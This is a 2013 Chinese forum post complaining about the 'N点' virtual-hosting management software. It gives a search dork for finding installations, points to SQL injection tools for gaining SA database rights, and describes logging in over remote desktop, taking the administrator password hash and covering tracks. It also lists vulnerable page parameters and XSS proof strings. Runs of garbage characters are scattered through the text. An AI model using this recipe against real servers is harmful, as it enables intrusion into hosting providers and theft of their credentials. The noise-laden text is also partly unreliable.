不得不说N点实在是一个破东西
& Y5 L2 `: }! [5 v0 Y; R. t就算他开发的商业版，就算商业版附带了安全设置也不能掩饰他的破烂) s3 q" Q* t9 ~0 T* Q$ n" o
好吧 抱怨一下就行了 接下来关键的时候到了3 U9 r) `. D4 {$ M6 s) a8 s
首先百度搜索关键字：inurl: (mmdatabase.asp)) _2 b7 h( B1 L( {7 z0 V) n# `
我随便列举一个： www.xxxx.com
4 W q9 `# B9 A4 D( Z修改链接：http://www.xxxx.com:80/Style/new ... &RID=1&ID=1' d5 O: t- z8 \6 B* O0 p- z
扔入NBSI 或者啊D等各种傻逼工具后5 K3 @) }( r/ G: ?/ P
你们会看到是SA权限
) Z# l- d. m& s+ u+ G果断3389 上去 hash得到administrator密码: }0 M* C j+ [7 z3 H. F
擦屁股走人~
' y% o1 Z% H6 I* ^经过基友本人测试10个这个程序5个以上有这个漏洞5个里面有一半是SA权限的6 B. C6 U1 {2 d# ?6 y$ G
: @/ V% p% x2 T( T' T+ P7 J0 k* S$ L再附上其他几个漏洞页面
' ]6 w* w# d% B* GSQL：% z) i/ m& d( u6 {
http://www.xxxxxx.com:80/Style/flashad/flashad.asp?adid=19 {; Q) N0 O* i; h
http://www.xxxxxx.com:80/Manage/ ... ogin.asp&PID=11" g2 z' D2 t a \& @/ [3 E
http://www.xxxxxx.com:80/Manage/ ... login.asp&PID=9
) t0 f! Q$ Q M& M, Xhttp://www.xxxxxx.com:80/Style/vhosting.asp?classID=2
4 a0 W+ P, K) ^1 ^: U' YXSS证明：
( r7 q- `' |/ \( f7 S5 \& {http://www.xxxxxx.com:80/Manage/ ... yle/memberlogin.asp”;alert(42873);”' t# d& z2 ]$ m& w" r+ R
http://www.xxxxxx.com:80/Manage/ ... yle/memberlogin.asp”;alert(42873);”& D9 n5 h7 ~: Y" Q7 ]1 ~& f
http://www.xxxxxx.com:80/Style/d ... mp;checkbox2=.bj.cn<script>alert(42873)</script>+ w+ J" S+ r: H8 Q2 _: P
由此可见点就是坑逼中的战斗机 自从用了他我的眼泪都流干了 有做IDC的朋友千万别步我后尘啊 便宜没好货好货不便宜4 z$ \% w; ^: ?$ z
还是星外吧 你们懂的3 c; S$ P% ^$ M# }% Y6 T2 A. A
作为一个商用程序 安全如此堪忧甚至于连网上开源的一些程序都有所不如，这样的公司能走多远？
- V x: A2 q' K3 WPS：其实我真的很想知道你说N点这SB asp就asp吧 为什么asp还非要MSSQL 这不是好像告诉我们快来日吧我们很容易日的，裤子都脱啦，就等你啦。 o(︶︿︶)o 唉
! P& D9 r% S; S3 g——- |
发表于 2013-3-3 08:06:44
收藏
支持
反对